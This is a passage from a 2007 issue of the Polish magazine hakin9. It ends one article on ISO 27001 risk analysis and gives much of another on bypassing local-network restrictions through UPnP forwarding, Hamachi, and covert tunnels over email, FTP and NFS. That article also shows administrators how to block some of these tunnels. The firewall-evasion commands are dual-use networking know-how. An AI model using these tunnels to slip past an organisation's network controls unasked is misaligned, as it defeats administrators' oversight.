cji informacji i aktywów, jakie znajdu-
ją się w organizacji, a jakie mają dla
nich znaczenie (prawne, rynkowe,
strategiczne). Informacje zwrotne zo-
stały dodane do szablonu szacowa-
nia ryzyka. Wspólnie z całą powołaną
kadrą określono realne, istniejące po-
datności-tzw. „słabe punkty” w orga-
nizacji, mogące mieć wpływ na naru-
szenie bezpieczeństwa dla wymienio-
nych informacji, aktywów, obszarów
czy procesów. W tym momencie kon-
sultanci mieli przygotowany dokład-
ny szablon analizy ryzyka i mogli po-
dejść do jego szacowania. Na pierw-
szej pozycji pojawił się budynek za-
rządu, jako ważny obszar, w którym
przetwarzane i przechowywane są
najważniejsze informacje. Określono
dla niego kilka realnych podatności.

Były nimi:

• Włamanie fizyczne do budynk
• Pożar
• Zalanie
• Włamanie fizyczne do pomiesz-

czenia zastępcy Dyrektora finan-
sowego

• Kradzież laptopów
• Sabotaż wewnętrzny ze strony

pracowników ochrony

Następnie określone zostały prawdo-
podobieństwa wystąpienia realnych
zagrożeń dla tych obszarów. Uzna-
no, że należy wzmocnić ochronę fi-
zyczną budynku poprzez zainstalowa-
nie lepszego monitoringu zarówno we-
wnątrz, jak i na zewnątrz budynku, po-
prosić przedstawiciela straży pożarnej
o jeszcze jedną analizę systemu prze-
ciwpożarowego i ewentualne wzmoc-
nienie budynku w tym obszarze.
W przypadku pomieszczeń członków
zarządu, ustalono, że zostanie okre-
ślony oddzielny obszar bezpieczny,
w którym znajdować się będą biura
członków zarządu. Obszar ten będzie
oddzielony za pomocą szklanej ścia-
ny z drzwiami na zamek magnetycz-
ny otwierany przez wprowadzenie sze-
ściocyfrowego kodu PIN. Dodatkowo
przed obszarem, zostanie umieszczo-
ny sekretariat, który będzie wpuszczał
wyłącznie umówionych interesantów.

Kradzież laptopów z ważnymi da-

nymi jest dla każdej organizacji uciąż-
liwa, nie wiadomo gdzie dane te trafia-

ją. Dlatego też ustalono, że zostanie
stworzona oddzielna, dość restrykcyj-
na procedura dotycząca wynoszenia
sprzętu komputerowego poza obszar
firmy, tak, aby zminimalizować ryzyko
jego utraty. Ponadto ustalono, że zo-
stanie zakupiony odpowiedni sprzęt do
wzmocnienia ochrony tych urządzeń
oraz lepsze, bezpieczniejsze nośniki,
niesugerujące pochodzenia.

Jedynym problemem do rozwią-

zania pozostał ewentualny sabotaż
wewnętrzny w firmie. Jest on niezwy-
kle trudny do udowodnienia, a jeszcze
trudniej znaleźć winnego tych działań.
Zarząd zlecił stworzenie odpowied-
nich procedur związanych z zatrud-
nieniem pracowników, ich rekrutacją
i weryfikacją posiadanych przez nich
kwalifikacji. Ponadto obecnym pra-
cownikom nakazano podpisanie sto-
sownych oświadczeń bezpieczeń-
stwa, mówiących o ewentualnych
sankcjach w przypadku udostępnie-
nia informacji, jej kradzieży, zniszcze-
nia lub zmodyfikowania bez zgody i
wiedzy przełożonego.

Co prawda żadna organizacja

O autorze

Autor jest Product Managerem ds.
zarządzania bezpieczeństwem informa-
cji w Computer Service Support S.A.
Kontakt z autorem: tomasz.polacze-
k@css.pl

Rysunek 2.

Analiza ryzyka, czyli burza mózgów przeprowadzona z

kierownictwem organizacji

background image

System Zarządzania Bezpieczeństwem Informacji

nigdy nie osiągnie 100% bezpie-
czeństwa, ale może je realnie zmi-
nimalizować.

Znając już dokładne sposoby, ja-

kie można wykorzystać do zminimali-
zowania zagrożenia, określamy praw-
dopodobieństwo jego wystąpienia na
podstawie incydentów, jakie wystąpi-
ły w przeszłości. Należy przy tym pa-
miętać, że logiczny jest wybór zabez-
pieczeń, których koszt nie przekro-
czy wartości aktywu, informacji, któ-
re chcemy zabezpieczyć.

Po określeniu tych wszystkich

czynników, zarząd miał pełen obraz
realnych zagrożeń, określił przedział
czasu, w jakim dane zabezpieczenia
dla określonych obszarów, aktywów
i informacji zostaną wdrożone i mógł
przystąpić do wdrożenie całego Syste-
mu Zarządzania Bezpieczeństwem In-
formacji ISO 27001 w całej organizacji.
Poza zastosowaniem odpowiednich
zabezpieczeń, możemy również za-

stosować inne metody. Jest to na przy-
kład unikanie ryzyka, czyli zastanowie-
nie się, w jaki sposób możemy uniknąć
ryzyka lub, przeniesienie samego ry-
zyka na inne obszary,czy procesy w
organizacji.

Podsumowanie

Opisana metoda, hipotetyczny scena-
riusz szacowania oraz analizy ryzyka
są jednymi z wielu możliwości. Na ryn-
ku istnieje wiele programów wspoma-
gających szacowanie ryzyka. Dlate-
go też ważne jest, aby podchodząc do
analizy ryzyka, wybrać najskuteczniej-
szą i najlepszą metodę, która dokład-
nie wpasuje się w organizację oraz jej
potrzeby. Należy również pamiętać, że
dane, jakie uzyskamy z analizy ryzyka,
posłużą nam później do formułowania
planu ciągłości działania organizacji w
przypadku katastrof i incydentów mo-
gących realnie w niej wystąpić. l

UWAGI

Należy pamietać że dobra analiza ry-
zyka powinna być przeprowadzana
indywidualnie dla danej organizacji,
uwzględniając w niej realne zagrożenie
oraz faktycznie istniejące podatności,
które mogą mieć realny wpływ na na-
ruszenie bezpieczeństwa zasobów in-
fomracyjnych organizacji.

Analiza ryzyka powinna być prze-

prowadzana z najwyższym kierownic-
twem organizacji, kierownikami po-
szególnych działów,wydziałów,depar-
tamentów, pownieważ tylko wtedy bę-
dziemy mieć realny wgląd w istniejące
zabezpieczenia, podatności i zagroże-
nia, a nikt nie zna tak dobrze organiza-
cji jak ludzie w niej pracujący.

Na podstawie wyników z analizy ry-

zyka, możemy stworzyć sprawny plan
ciągłości działania biznesowego orga-
nizacji oraz odpowiednika dla informa-
tyki, disaster recovery

R

E

K

L

A

M

A

background image

www.hakin9.org

hakin9 Nr 4/2007

50

Obrona

C

i pierwsi chcą kontrolować każde po-
sunięcie drugich. Z kolei użytkowni-
cy chcieliby mieć nieograniczony do-

stęp do wszystkich usług – zwłaszcza do
modnych ostatnio p2p. W zależności od po-
trzeb użytkowników administrator ma do dys-
pozycji różne narzędzia, za pomocą których
może przekierowywać porty, spiąć dwie sie-
ci lokalne lub zestawić tunel z komputerem w
Internecie powodując, że będzie on widzia-
ny w sieci lokalnej. Dodatkowo musi mieć na
uwadze fakt, że istnieją techniki, za pomocą
których bardziej wykwalifikowany użytkow-
nik może osiągnąć podobny rezultat. Może
on mianowicie wejść w posiadanie narzędzi,
które zniwelują wysiłki administratora idące
ku ograniczaniu ruchu p2p oraz innych usług,
do których administrator nie chce dać użyt-
kownikom dostępu.

Spełniając zachcianki

użytkownika

Najczęściej użytkownicy sieci lokalnych chcą

hostować gry. Z punktu widzenia administra-
tora oznacza to ni mniej ni więcej to, że nale-
ży przekierować jeden lub więcej portów z in-
terfejsu zewnętrznego do sieci lokalnej. Moż-

na tego dokonać na parę sposobów. Pierw-
szym sposobem jest ręczna konfiguracja. Aby
przekierować port TCP wystarczy wydać po-
lecenie:

iptables -t nat -A PREROUTING -i IINT -p tcp --
dport PORT_DOCELOWY -j DNAT --to-destination
ADRES_W_SIECI_LOKALNEJ

Przegląd wybranych metod

niwelowania ograniczeń

sieci lokalnych

Konrad Malewski

stopień trudności

Istnieje wiele aplikacji, które do działania potrzebują publicznego

adresu IP. Jest szereg sposobów, aby umożliwić użytkownikom

wewnątrz sieci lokalnych korzystanie ze wszystkich zalet

publicznego IP. Można powiedzieć, że istnieje pewnego rodzaju

walka pomiędzy administratorami sieci komputerowych, a ich

użytkownikami.

Z artykułu dowiesz się...

• Jak przekierowywać porty z wykorzystaniem

urządzenia IGD.

• Jak samodzielnie lub z pomocą administratora

utworzyć wirtualną sieć.

• Jak stworzyć tunel IP wykorzystujący różne

protokoły wyższych warstw.

Co powinieneś wiedzieć...

• Powinieneś znać model ISO/OSI.
• Powinieneś mieć ogólne pojęcie o zasadzie

działania sieci TCP/IP.

• Powinieneś posiadać umiejętność administro-

wania systemem Linux na poziomie użytkowni-
ka.

background image

Pakiety w tunelu

hakin9 Nr 4/2007

www.hakin9.org

51

gdzie zamiast IINT podajemy inter-
fejs wejściowy np. eth0, PORT_DO-
CELOWY ustalamy dla konkretnej
usługi użytkownika, którego adres IP
w sieci lokalnej to ADRES_W_SIE-
CI_LOKALNEJ. Dodawanie i usu-
wanie przekierowań tym sposobem
jest nieco uciążliwe, zwłaszcza gdy
wielu użytkowników chce przekiero-
wać jeden port (co wiąże się z czę-
stym dodawaniem i usuwaniem wpi-
sów), lub nie chce aby przekierowa-
nie było permanentne.

Na szczęście można ten proces

zautomatyzować. W tym celu nale-
ży uruchomić demona UPNP (z ang.:

Universal Plug and Play), z którym
będą komunikować się aplikacje klien-
tów tj. Windows Messenger, Emu-
le itp. Pierwszym krokiem idącym do
uruchomienia IGD jest ściągnięcie,
skompilowanie i skonfigurowanie pro-
gramu demona ([1] oraz [2]). Plik kon-
figuracji (o nazwie upnpd.conf) znaj-
duje się domyślnie w katalogu /etc.
Aby uruchomić program przy mini-

malnej konfiguracji należy ustawić po-
prawną ścieżkę dostępu do progra-
mu Iptables. Dla celów demonstra-
cyjnych należy również ustawić para-
metr duration tak, aby miał wartość in-
ną niż domyślna (np. 50) oraz ustawić
zmienną debug_info na 3. Parametr
duration określa jak długo mapowa-
nie jest ważne. Po przekroczeniu te-
go czasu przekierowanie jest usuwa-
ne z routera.

Ostatnią rzeczą, jaką należy wy-

konać jest dodanie ście żki multica-
stowej do domyślnej tablicy routingu:

route add -net 239.0.0.0 netmask
255.0.0.0 eth0

Uruchomienie demona IGD sprowa-
dza się do wydania komendy:

./upnpd -f eth1 eth0

Jeśli nie użyjemy paremetru -f, de-
mon upnp uruchomi się w tle i nie bę-
dziemy widzieli komunikatów diagno-

stycznych. Kolejne parametry pro-
gramu to nazwa interfejsu zewnętrz-
nego oraz wewnętrznego. Po uru-
chomieniu demona UPnP wszystkie
aplikacje, które działają na kompu-
terach w sieci lokalnej, a są zdolne
do wykorzystania zalet IGD, powin-
ny umieć wykryć obecność demona
i korzystać z jego funkcji.

Istnieje klient UPnP ([3]), za po-

mocą którego można ręcznie stero-
wać przekierowaniami na routerze.
Program ten potrafi automatycznie
wykryć urządzenia zgodne ze spe-
cyfikacją IGD. W tym celu wykorzy-
stuje protokół SSDP do wykrywania
urządzeń. Nie wgłębiając się zbyt-
nio w szczegóły zobaczmy, jak moż-
na ręcznie stworzyć przekierowanie
TCP z portu 5000 na routerze do
portu 22 na kliencie. Na początku
sprawdzamy status połączenia – wi-
doczne na Listingu 1.

Powyższa odpowiedź oznacza, że

urządzenie UPnP działające na route-
rze, zostało wykryte. Dodatkowo pole-
cenie zwraca pewną ilość informacji
statystycznych oraz informacje o para-
metrach skonfigurowanego łącza. Na-
leży zwrócić uwagę na fakt, że para-
metry takie jak MaxBitRateDown nie
są wyliczane, a zwracana wartość jest
parametrem z pliku konfiguracyjnego.
Teraz przystąpmy do tworzenia prze-
kierowania za pomocą programu [3],
co można zobaczyć na Listingu 2.

Jest to równoważne wydaniu na-

stępującej komendy na routerze:

/sbin/iptables -t nat -I PREROUTING
-i eth1 -p TCP --dport 5000 -

Rysunek 1.

Prawdopodobna

konfiguracja firewalla

Listing 1.

Status połączenia

# ./upnpc -s

upnpc : miniupnp test client. (c) 2006 Thomas Bernard
go to http://miniupnp.free.fr/

for

more information.

UPnP device :
desc: http://192.168.64.254:49152/gatedesc.xml
st: urn:schemas-upnp-org:device:InternetGatewayDevice:1
UPnP device :
desc: http://192.168.64.254:49152/gatedesc.xml
st: urn:schemas-upnp-org:device:InternetGatewayDevice:1
getting

"http://192.168.64.254:49152/gatedesc.xml"

getting

"http://192.168.64.254:49152/gateconnSCPD.xml"

Connection Type : IP_Routed
Status : Connected,

uptime

=10548

MaxBitRateDown : 512000 bps MaxBitRateUp 512000 bps
Bytes: Sent: 490900 Recv: 34710590
Packets: Sent: 8881 Recv: 24517

Listing 2.

Tworzenie przekierowania

#./upnpc -a 192.168.64.100 22 5000 tcp

upnpc : miniupnp test client. (c) 2006 Thomas Bernard
go to http://miniupnp.free.fr/

for

more information.

UPnP device :
desc: http://192.168.64.254:49152/gatedesc.xml
st: urn:schemas-upnp-org:device:InternetGatewayDevice:1
UPnP device :desc: http://192.168.64.254:49152/gatedesc.xml
st: urn:schemas-upnp-org:device:InternetGatewayDevice:1
getting

"http://192.168.64.254:49152/gatedesc.xml"

getting

"http://192.168.64.254:49152/gateconnSCPD.xml"

ExternalIPAddress = 192.168.198.64
InternalIP:Port = 192.168.64.100:22
external 192.168.198.64:5000

is

redirected to internal 192.168.64.100:22

background image

hakin9 Nr 4/2007

www.hakin9.org

52

j DNAT --to 192.168.64.100:22
/sbin/iptables -A FORWARD -p TCP -d
192.168.64.100 --dport 22 -j ACCEPT

Jeżeli na routerze został podniesio-
ny poziom logowania, to powyższa
informacja powinna zostać wyświe-
tlona na ekranie. Po upływie czasu
określonego parametrem duration
przekierowanie zostanie automa-
tycznie skasowane poprzez usunię-
cie dwóch wpisów w firewallu. Przy
pomocy programu Upnpc użytkow-
nik może także usunąć przekiero-
wanie przed upływem czasu dura-
tion, oraz wyświetlić aktywne prze-
kierowania.

Korzystając z rozwiązań opar-

tych na IGD należy mieć na uwa-
dze nie tylko jego zalety, ale i wa-
dy, przez które wielu administrato-
rów klasyfikuje tego rodzaju urzą-
dzenia jako ryzyko dla bezpieczeń-
stwa sieci lokalnej. Trzeba sobie
zdawać sprawę, że przedstawiona
wersja IGD została zaprojektowa-
na tak, aby emulować ICS (Microso-

ft's Internet Connection Service) i ro-
bi to bardzo dokładnie. Oznacza to,
ni mniej ni więcej, tyle, że odpowie-
dzialność za bezpieczeństwo i celo-
wość przekierowań zostaje przenie-
siona na użytkowników bramy. Da-
je to potencjalnemu intruzowi możli-
wość bezproblemowego przegląda-
nia, dodawania oraz usuwania prze-
kierowań. Więcej szczegółów tech-
nicznych czytelnik może znaleźć na
forum UPnP.

Na potrzeby nie tylko graczy,

ale również użytkowników chcących
uniezależnić swoją wirtualną sieć od
lokalizacji poszczególnych węzłów
zostało stworzone oprogramowanie
łączące w sobie VPN, aplikacje p2p
oraz prosty system IM. Narzędzie to,
noszące nazwę Hamachi [5], dostęp-
ne jest zarówno dla systemów spod
znaku pingwina, jak i Windows. W te-
legraficznym skrócie można powie-
dzieć, że tworzy ono sieć lan w opar-
ciu o Internet. Konfiguracja programu
w systemie Linux jest bajecznie pro-
sta. W systemie z Readmont konfigu-
rowanie aplikacji przysparza jeszcze
mniej problemów. Program jest dość
nowatorski w swoim działaniu. Przy
instalacji aplikacji tworzony jest do-
datkowy interfejs sieciowy, przez któ-
ry będą wykonywane połączenia do
komputerów w wirtualnej sieci. Klient
po uruchomieniu rejestruje się w sys-
temie. Dodatkowo przeprowadzana
jest dwukierunkowa autentykacja za-
równo serwera jak i klienta. Każdy
serwer Hamachi posiada parę kluczy
– publiczny i prywatny, służących do
potwierdzania autentyczności. Klu-
cze publiczne są zawarte w progra-
mach klientów. Klient Hamachi gene-
ruje swoją parę kluczy, a jego klucz
publiczny udostępniany jest serwe-
rom w celu przeprowadzenia póź-
niejszej autentykacji kolejnych podłą-
czeń klienta. Przy pierwszym urucho-
mieniu klienta należy stworzyć nową
wirtualną sieć, lub dołączyć się do już
istniejącej. Każdy komputer w takiej

sieci posiada swój pseudo-publicz-
ny adres IP. Zakładając, że mamy
skonfigurowanego wcześniej klienta
Hamachi, kolejnym etapem przy je-
go uruchamianiu jest synchronizacja
z innymi klientami należącymi do wir-
tualnych sieci. Oznacza to stworze-
nie tunelu UDP pomiędzy komputera-
mi w sieciach lokalnych i wykorzysta-
nie go jako nośnika danych do enkap-
sulowania innych protokołów. Do ze-
stawienia tunelu i przebicia NAT wy-
korzystywany jest komputer–pośred-
nik zwany często mediatorem. Szcze-
góły techniczne tego procesu moż-
na poznać np. w artykule Sieci nie

tak znowu lokalne z Hakin9u 1/2007.
Warto jednak wiedzieć, że media-
tor jest wykorzystywany jednokrotnie
– przy przebijaniu NAT.

Dodatkową cechą węzłów łączą-

cych hosty w Hamachi jest szyfrowa-
nie przesyłanych danych. Niektórych
zdziwić może fakt, że w celu otrzy-
mania możliwości przesyłania da-
nych w postaci niezaszyfrowanej na-
leży wykupić konto premium u produ-
centa. Aplikacja ta likwiduje wszyst-
kie problemy związane z sieciami lo-
kalnymi posiadającymi niepubliczne
adresy lokalne. Jednak, jak by tego
było mało, Hamachi posiada wbudo-
wany serwer proxy, za pomocą któ-
rego można korzystać z Internetu
wykorzystując zdalny komputer.

Z perspektywy administratora

sieci komputerowej zablokowanie te-
go typu usługi może być bardzo po-
żądane. Niektóre z serwerów po-
średniczących Hamachi używają do
synchronizacji portu 32976. Aby za-
blokować możliwość połączenia z ty-
mi hostami wystarczy dodać nastę-
pującą regułkę w firewallu:

iptables -I FORWARD -p tcp --dport
32976 -j DROP

Powinno to uniemożliwić synchro-
nizację z częścią serwerów Hama-
chi, jednak nie zlikwiduje to całkowi-
cie łączenia się z ową siecią. Aby w
pełni zablokować sieć należy, tak jak
w przypadku niektórych sieci p2p,
sprawdzić adresy IP pośredników i
wpisać je do firewalla. W chwili pisa-
nia tego artykułu wystarczyło oprócz

Rysunek 2.

Schemat komunikacji poprzez serwer pocztowy.

background image

Pakiety w tunelu

wyżej wymienionej reguły zabloko-
wać jeden adres IP, z którym klient
Hamachi łączył się na porcie 443:

iptables -I FORWARD -d 63.208.197.211
-j DROP

Tunelowanie,

enkapsulacja – IP

w czymkolwiek?

Duża część administratorów konfigu-
ruje firewalle w ten sposób, że zna-
ny ruch np. SSH, HTTP, FTP, SMTP
nie jest dokładnie analizowany przez
reguły firewalla, a pozostałe pakiety
przepuszczane są na przykład przez
filtry wykrywające ruch p2p, ograni-
czana jest liczba równoczesnych po-
łączeń, czy w końcu niektóre porty
są całkowicie blokowane. Tak skonfi-
gurowanego firewalla można obejść
w sposób, jaki od razu przychodzi
na myśl – należy ukryć interesujący
nas ruch w pakietach, które będą za-
klasyfikowane na firewallu jako zna-

ny ruch (patrz Rysunek 1).

Jednym z takich programów jest

Mailtunnel [6]. Ten, pochodzący z
1999 roku, program składa się z
trzech skryptów napisanych w Per-
lu. Jego działanie polega na ukry-
waniu danych połączenia w wiado-
mościach email, zaś konfiguracja

sprowadza się do edycji pliku conf.pl.
Celem dla którego powstał program
jest stworzenie ukrytego kanału po-
między komputerem A, który znaj-
duje się w sieci lokalnej (załóżmy,
że w danej sieci administrator prze-
puszcza tylko pocztę email), a ho-
stem B, który po odebraniu przesy-
łek od A, przesyła dane do kompute-
ra C poprzez stworzone połączenie
TCP. W efekcie A łącząc się do lo-
calhost:port połączy się z kompute-
rem C. Aby skomplikować przykład,
załóżmy że A oraz B znajduje się za
NAT, a MTA, którego używają oba
komputery znajduje się w jeszcze in-
nym miejscu (patrz Rysunek 2).

Naszym celem będzie zesta-

wienie połączenia VPN pomiędzy A
oraz B. Pierwszym krokiem będzie
założenie konta email. Od skrzyn-
ki email wymaga się w zasadzie tyl-
ko tego, aby była szybka, umożliwia-

ła obsługę przez POP3 i SMTP oraz
nie posiadała filtru antyspamowe-
go, który usunąłby niektóre pakiety
z konwersacji. Załóżmy, że na ho-
ście o adresie 192.168.198.200 zało-
żone zostały dwie skrzynki: mtn_re-
lay1 oraz mtn_relay2. Kolejnym kro-
kiem jest skonfigurowanie Fetchma-
ila na komputerach A oraz B.

Na hoście A plik konfiguracyjny

.fetchmailrc powinien zawierać:

set daemon 1
poll 192.168.198.200 with proto POP3
user 'mtn_relay1' there with password
'mtnrelay1' is 'mtn' here

natomiast na komputerze B:

set daemon 1
poll 192.168.198.200 with proto POP3
user 'mtn_relay2' there with password
'mtnrelay2' is 'mtn' here

Rysunek 3.

Tunelowanie danych TCP w UDP.

R

E

K

L

A

M

A

background image

hakin9 Nr 4/2007

www.hakin9.org

54

Jeżeli ktoś preferuje korzystanie ze
środowiska graficznego, może użyć
programu Fetchmailconf do uzyska-
nia podobnego pliku konfiguracyj-
nego.

Po wpisaniu polecenia fetchma-

il jako użytkownik mtn na kompute-
rze A oraz B poczta skierowana do

mtn_relay1@[192.168.198.200] po-
winna trafiać do /var/spool/mail/mtn
na A. Podobnie email wysłany do

mtn_relay2@[192.168.198.200] tra-
fi do komputera B. Na obu kompute-
rach fetchmail odpytuje serwer pop3
co 1 sekundę. Kontroluje to liczba,
która znajduje się za słowem de-

amon w pliku konfiguracyjnym.

Program Mailtunnel został przy-

stosowany do tunelowania teksto-
wych danych. Aby go dostosować
do wiadomości binarnych należy w
miejsce operatorów wczytania linii
„<..>” użyć funkcji read. Zmodyfiko-
wany program znajduje się na [7].

Aby skonfigurować VPNa należy

sięgnąć po przepis z numeru Hakin9
6/2006 autorstwa gosub-a. Jeśli jed-
nak zależy nam na prostszej wersji tu-
nelu, w którym szyfrowanie odbędzie
się poprzez współdzielony klucz, to
możemy pójść nieco na skróty. Na
jednym z komputerów generujemy
klucz openvpn-owy poleceniem:

openvpn --genkey --secret key

następnie w sposób, który uniemożli-
wiłby podsłuchanie transmisji, kopiu-
jemy plik key na drugą maszynę. Po
czym na maszynie B wydajemy po-
lecenie:

openvpn --dev tun1 --ifconfig 10.4.0.2
10.4.0.1 --verb 5 --secret key --proto
tcp-server --port 666

które uruchomi serwer VPN na-
słuchując na gnieździe TCP i por-
cie 666. Mając już działający ser-
wer VPN należy uruchomić program
forwardujący pakiety z serwera VPN
poprzez email do klienta:

./mtn forward localhost 666

Na hoście A uruchamiamy klienta tu-
nelu:

./mtn listen 5000

oraz klienta VPN:

openvpn --remote 127.0.0.1 --dev
tun1 --ifconfig 10.4.0.1 10.4.0.2 --verb
5 --secret key --proto tcp-client --
port 5000

Po paru chwilach możemy cieszyć
się tunelem zestawionym pomiędzy
komputerami A oraz B – Listing 3.

Jak możemy się domyślać, przez

takie połączenie nie da się komfor-
towo grać w Quake'a, lecz dla ce-
lów SSH w zupełności ono wystar-
czy. Biorąc pod uwagę zasadę dzia-
łania przesyłek email można od razu
wpaść na pomysł routingu opartego
o emaila. Za pomocą przekazywa-
nia poczty można skomplikować dro-
gę pakietu unikając wścibskich oczu
administratorów, rządu, terrorystów,
żony etc... Ponadto zastosowanie ta-
kiej techniki jest słuszne w przypad-
ku, gdy wiemy, że kierowanie poczty
do konkretnego hosta w sieci będzie
szybsze, niż wysyłanie emaili do in-
nego. Tworząc większą liczbę skrzy-
nek pocztowych, które przekazywa-
łyby pomiędzy sobą wiadomości, po-
wodowalibyśmy, że pakiet skierowa-
ny z komputera A do C przechodził-
by przez szereg MTA.

Do kompletu protokołów braku-

je już jedynie tunelowania za pomo-
cą FTP. Jednym z programów, które
częściowo tego dokonują jest Ftp-
tunnel [8]. Program ten jest raczej
aplikacją typu proof of concept, niż
programem do tunelowania. Składa
się on z czterech skryptów. Jeden
z nich (master.pl) należy umieścić
w katalogu głównym serwera FTP.
Po uruchomieniu stworzy on pliki
semaforów, których będzie ocze-
kiwał program klienta, a następnie
poprosi o wprowadzenie komendy,
która zostanie zapisana do pliku o
nazwie request. Na drugiej maszy-
nie wgrywamy plik slave.pl i modyfi-
kujemy jego część, w której wskaza-
ny jest serwer FTP, nazwa użytkow-
nika i hasło. Skrypt slave.pl zalogu-
je się na serwer, pobierze plik requ-

est, wykona go, a wynik zapisze do
pliku answer, który następnie zosta-

nie umieszczony na komputerze, na
którym uruchomiony jest skrypt ma-
ster-a.

Program ten posiada wiele bra-

ków, lecz wydaje się, że przy odro-
binie pracy uda się za pomocą tej
techniki stworzyć połączenie VPN
pomiędzy dwoma komputerami. Naj-
prawdopodobniej modyfikacji nie po-
winno być dużo jeśli użyjemy progra-
mu Socat [9], za pomocą którego
możemy przekazywać dane pomię-
dzy dwoma niezależnymi źródłami,
począwszy od gniazd, poprzez pliki,
a skończywszy na serwerach proxy.

Tunel IP poprzez

zbiory w sieciowym

systemie plików

Skoro już wspomniałem o programie
Socat, trudno nie przytoczyć w tym
miejscu jego niewątpliwych zalet, za
pomocą których możliwe jest zesta-
wienie dowolnych tuneli. Na przy-
kład, aby osiągnąć podobny efekt,
jak w artykule Hakin9 „Tunele TUN/
TAP w systemach Linux/Unix” z lute-
go 2007, można na komputerze zdal-
nym uruchomić polecenie:

socat udp4-listen:53 tcp4:127.0.0.1:
5000

natomiast na komputerze za firewal-
lem:

socat tcp4-listen:5000 udp:
adreskomputerazdalnego:53,sourceport=53

Teraz posiadając działające połą-
czenie TCP (patrz Rysunek 3) po-
między dwoma komputerami, widzia-
ne na routerze jako szereg pakietów
UDP, można użyć pakietu Openpvn
do stworzenia tunelu.

Jak zostało wspomniane wcze-

śniej, Socat umożliwia wykorzysta-
nie plików jako źródła danych. Mając
to na uwadze, nietrudno wyobrazić
sobie, jak za pomocą tego programu
można stworzyć prosty tunel w opar-
ciu o zdalne zasoby NFS. Do zesta-
wienia tunelu VPN potrzebny będzie
nam dodatkowy programik o nazwie
Udprelay [10]. Dodatkowo trzeba bę-
dzie lekko zmodyfikować jego źró-
dła. Mianowicie w pliku udprelay.c w

background image

Pakiety w tunelu

hakin9 Nr 4/2007

www.hakin9.org

55

linijce 353 przed komendą bind nale-
ży wstawić:

if (setsockopt(sock,SOL_SOCKET,
SO_REUSEADDR,&one,sizeof(one))<0)
{
syslog (LOG_ERR, "setsockopt, %m");
exit (1);->
}

Pozwoli to na przypięcie dwóch
gniazd do tego samego portu. Mając
zmodyfikowany i skompilowany pro-
gram, możemy przystąpić do two-
rzenia tunelu. Schemat komunikacji
po NFS obrazuje Rysunek 4.

Rolą maszyny B jest jedynie udo-

stępnienie jednego katalogu poprzez
NFS. W tym katalogu znajdują się
dwa pliki hostA-hostC oraz hostC-

hostA. Pierwszy z nich będzie uży-
ty do jednokierunkowej komunika-
cji od hostaA do hostaC. Do łączno-
ści w drugą stronę wykorzystany zo-
stanie drugi plik. Załóżmy, że kompu-
ter A oraz C mają skonfigurowanego
klienta NFS i zamontowany synchro-
nicznie katalog /mnt/nfs komputera
B w katalogu /mnt/nfs-remote. Aby
przedstawione na rysunku połącze-
nie zaczęło działać, należy wykonać
następujące sekwencje komend. Na
początku uruchamiamy serwer ope-
nvpn na komputerze A. Serwer po-
winien nasłuchiwać na porcie TCP:
10000.

Aby zrealizować część numer 1

połączenia należy wydać komendę:

socat udp-listen:15000 tcp4:
192.168.64.100:10000

Spowoduje to powstanie dwukierun-
kowego kanału, który przekieruje
wszystkie pakiety UDP przychodzą-
ce na port 15000 do połączenia TCP
na port 10000.

Połączenie UDP-plik (numer 2)

realizuje komenda:

socat -u udp4-listen:10000,
reuseaddr open:/mnt/nfs_remote/hostA-
hostC,sync

Wszystkie pakiety UDP wysłane na
port 10000, zostaną zapisane do pli-
ku na dysku sieciowym. Przełącznik

Listing 3.

Tunel zestawiony pomiędzy komputerami A oraz B

hostb:~

# ping 10.4.0.1

PING 10.4.0.1 (10.4.0.1) 56(84) bytes of data.

64 bytes from 10.4.0.1:

icmp_seq

=1

ttl

=64

time

=5147 ms

64 bytes from 10.4.0.1:

icmp_seq

=2

ttl

=64

time

=10093 ms

64 bytes from 10.4.0.1:

icmp_seq

=3

ttl

=64

time

=9092 ms

64 bytes from 10.4.0.1:

icmp_seq

=4

ttl

=64

time

=8092 ms

64 bytes from 10.4.0.1:

icmp_seq

=5

ttl

=64

time

=7092 ms

64 bytes from 10.4.0.1:

icmp_seq

=6

ttl

=64

time

=24040 ms

64 bytes from 10.4.0.1:

icmp_seq

=7

ttl

=64

time

=23038 ms

Listing 4.

Połączenie

debian:~

# ping 10.4.0.2

PING 10.4.0.2 (10.4.0.2) 56(84) bytes of data.

64 bytes from 10.4.0.2:

icmp_seq

=1

ttl

=64

time

=8607 ms

64 bytes from 10.4.0.2:

icmp_seq

=2

ttl

=64

time

=7607 ms

64 bytes from 10.4.0.2:

icmp_seq

=3

ttl

=64

time

=6607 ms

64 bytes from 10.4.0.2:

icmp_seq

=4

ttl

=64

time

=5607 ms

64 bytes from 10.4.0.2:

icmp_seq

=5

ttl

=64

time

=4607 ms

64 bytes from 10.4.0.2:

icmp_seq

=6

ttl

=64

time

=3607 ms

64 bytes from 10.4.0.2:

icmp_seq

=7

ttl

=64

time

=5623 ms

64 bytes from 10.4.0.2:

icmp_seq

=8

ttl

=64

time

=4620 ms

64 bytes from 10.4.0.2:

icmp_seq

=9

ttl

=64

time

=3618 ms

64 bytes from 10.4.0.2:

icmp_seq

=10

ttl

=64

time

=2614 ms

--- 10.4.0.2 ping statistics ---

13 packets transmitted, 10 received, 23% packet loss, time 12024ms
rtt min/avg/max/mdev = 2614.549/5312.246/8607.296/1789.397 ms, pipe 9

Listing 5.

Rezultaty implementacji

vegard@gyversalen:~$ ping -i 900 10.0.3.1
PING 10.0.3.1 (10.0.3.1): 56 data bytes

64 bytes from 10.0.3.1:

icmp_seq

=0

ttl

=255

time

=6165731.1 ms

64 bytes from 10.0.3.1:

icmp_seq

=4

ttl

=255

time

=3211900.8 ms

64 bytes from 10.0.3.1:

icmp_seq

=2

ttl

=255

time

=5124922.8 ms

Listing 6.

Rezultat na maszynie o adresie 192.168.128.100

debian:~

# hping2 192.168.198.200 -S -p 110

HPING 192.168.198.200 (eth0 192.168.198.200): S set, 40 headers + 0 data

bytes

len

=46

ip

=192.168.198.200

ttl

=63 DF

id

=0

sport

=110

flags

=SA

seq

=0

win

=5840

rtt

=8.9 ms

len

=46

ip

=192.168.198.200

ttl

=63 DF

id

=0

sport

=110

flags

=SA

seq

=1

win

=5840

rtt

=3.8 ms

len

=46

ip

=192.168.198.200

ttl

=63 DF

id

=0

sport

=110

flags

=SA

seq

=2

win

=5840

rtt

=1.3 ms

len

=46

ip

=192.168.198.200

ttl

=63 DF

id

=0

sport

=110

flags

=SA

seq

=3

win

=5840

rtt

=1.3 ms

len

=46

ip

=192.168.198.200

ttl

=63 DF

id

=0

sport

=110

flags

=SA

seq

=4

win

=5840

rtt

=1.2 ms

len

=46

ip

